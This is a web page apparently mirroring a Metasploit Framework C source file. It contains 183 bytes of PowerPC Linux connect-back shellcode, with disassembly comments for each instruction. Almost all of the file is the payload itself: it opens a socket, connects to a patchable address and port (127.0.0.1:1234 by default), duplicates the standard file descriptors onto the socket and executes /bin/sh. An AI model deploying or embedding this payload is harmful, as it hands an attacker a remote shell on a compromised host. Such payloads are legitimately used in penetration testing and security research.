CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/lin-power-cntsockcode.c
Views: 11765
1
/*
2
* lin-power-cntsockcode.c
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#define CNTSOCKADDR1 54
22
#define CNTSOCKADDR2 58
23
#define CNTSOCKPORT 62
24
25
char cntsockcode[]= /* 183 bytes */
26
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
27
"\x3b\xa0\x01\xff" /* li r29,511 */
28
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
29
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
30
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
31
"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */
32
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
33
"\x7c\x24\x0b\x78" /* mr r4,r1 */
34
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
35
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
36
"\x44\xff\xff\x02" /* sc */
37
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
38
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
39
"\x3e\xe0\x7f\x00" /* lis r23,32512 */
40
"\x62\xf7\x00\x01" /* ori r23,r23,1 */
41
"\x3a\xc0\x04\xd2" /* li r22,1234 */
42
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
43
"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */
44
"\x93\x61\xff\xfe" /* stw r27,-2(r1) */
45
"\x7c\x35\x0b\x78" /* mr r21,r1 */
46
"\x97\x21\xff\xfc" /* stwu r25,-4(r1) */
47
"\x96\xa1\xff\xfc" /* stwu r21,-4(r1) */
48
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
49
"\x7c\x24\x0b\x78" /* mr r4,r1 */
50
"\x38\x7d\xfe\x04" /* addi r3,r29,-508 */
51
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
52
"\x44\xff\xff\x02" /* sc */
53
"\x7f\x64\xdb\x78" /* mr r4,r27 */
54
"\x7f\x43\xd3\x78" /* mr r3,r26 */
55
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
56
"\x44\xff\xff\x02" /* sc */
57
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
58
"\x40\x80\xff\xec" /* bge+ <cntsockcode+108> */
59
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
60
"\x40\x82\xff\xfd" /* bnel+ <cntsockcode+132> */
61
"\x7f\xc8\x02\xa6" /* mflr r30 */
62
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
63
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
64
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
65
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
66
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
67
"\x7c\x24\x0b\x78" /* mr r4,r1 */
68
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
69
"\x44\xff\xff\x02" /* sc */
70
"/bin/sh"
71
;
72
73
74